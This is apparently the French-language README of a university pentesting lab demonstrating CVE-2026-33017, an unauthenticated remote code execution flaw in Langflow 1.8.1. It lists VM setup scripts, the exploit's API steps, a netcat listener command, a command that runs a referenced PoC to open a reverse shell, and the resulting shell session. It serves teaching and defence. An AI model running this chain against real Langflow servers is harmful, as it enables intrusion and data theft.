
# Laboratoire pédagogique démontrant une RCE non authentifiée dans Langflow via CVE-2026-33017, avec configuration automatisée de machine virtuelle et un exploit PoC pour un shell inversé.
HoGent CyberSecurity II — Netwerk Pentesting & Exploitatie (NPE)
Academiejaar 2025–2026
Ce dépôt contient un environnement de laboratoire complet et une démonstration d'exploitation de CVE-2026-33017, une vulnérabilité critique d'exécution de code à distance (RCE) non authentifiée dans Langflow ≤ 1.8.1.
Un attaquant sans aucune authentification peut exécuter du code Python arbitraire sur le serveur via le endpoint /api/v1/build_public_tmp/{flow_id}/flow, car l'entrée utilisateur est directement transmise à exec() de Python sans sandboxing ni validation.
⚠️ Avertissement : Ce dépôt est exclusivement destiné à des fins éducatives dans un environnement de laboratoire contrôlé. Utilisez-le uniquement sur des systèmes pour lesquels vous disposez d'une autorisation explicite.
┌─────────────────────────────────────────────────────┐
│ HOST MACHINE │
│ │
│ ┌──────────────────┐ ┌───────────────────────┐ │
│ │ Langflow-Victim │ │ Kali-Attacker │ │
│ │ Ubuntu 22.04 │ │ Kali Linux │ │
│ │ 192.168.56.101 │◄────│ 192.168.56.100 │ │
│ │ Langflow 1.8.1 │ │ PoC exploit tool │ │
│ │ port 7860 │ │ + internet (NAT) │ │
│ └──────────────────┘ └───────────────────────┘ │
│ Host-only netwerk: 192.168.56.0/24 │
└─────────────────────────────────────────────────────┘
CVE-2026-33017/
├── README.md # Ce fichier
├── LICENSE
├── .gitignore
├── docs/
│ └── stappenplan.md # Guide complet de déploiement et d'attaque
└── scripts/
├── setup_vms.sh # Phase 1 : Créer les VMs VirtualBox (HÔTE)
├── setup_victim.sh # Phase 2 : Installer Langflow 1.8.1 (VM Ubuntu)
└── setup_attacker.sh # Phase 3 : Installer l'outil PoC (VM Kali)
VBoxManage dans le PATHUbuntu_22.04-VB-64bit.vdi → renommer en ubuntu-22.04.vdiKali_Linux-VB-64bit.vdi → renommer en kali-linux.vdisetup_vms.shbash scripts/setup_vms.sh
# Identifiants : osboxes / osboxes.org
sudo bash scripts/setup_victim.sh
# Identifiants : osboxes / osboxes.org
sudo bash scripts/setup_attacker.sh
Terminal 1 — Écouteur de reverse shell :
nc -lvnp 4444
Terminal 2 — Exploit :
cd ~/CVE-2026-33017-Langflow-RCE-PoC
source venv/bin/activate
python3 cve-2026-33017.py 192.168.56.101 --shell \
--lhost 192.168.56.100 --lport 4444
Le PoC est installé automatiquement par
setup_attacker.sh.
PoC utilisé : omer-efe-curkus/CVE-2026-33017-Langflow-RCE-PoC
| Étape | Endpoint | Description |
|---|---|---|
| 1 | GET /api/v1/auto_login | Récupère le jeton JWT superutilisateur (AUTO_LOGIN=true) |
| 2 | POST /api/v1/flows/ | Crée un nouveau flux public via l'API |
| 3 | POST /api/v1/build_public_tmp/{id}/flow | Injecte un CustomComponent avec du code Python malveillant |
| 4 | exec() dans validate.py:397 | Le code est exécuté sans sandboxing — RCE |
[] Fetching access token... [+] Public Flow ID created: 11571add-6416-4226-b8e6-844202cce6ff [] Sending reverse shell to connect back to 192.168.56.100:4444
Listener (Terminal 1): connect to [192.168.56.100] from (UNKNOWN) [192.168.56.101] 36160 $ whoami user $ hostname e37190a2f147 $ find /app -name "*.db" /app/.venv/lib/python3.12/site-packages/langflow/langflow.db
data vulnérableLANGFLOW_AUTO_LOGIN en productionHoGent — Toegepaste Informatica — CyberSecurity II — 2025–2026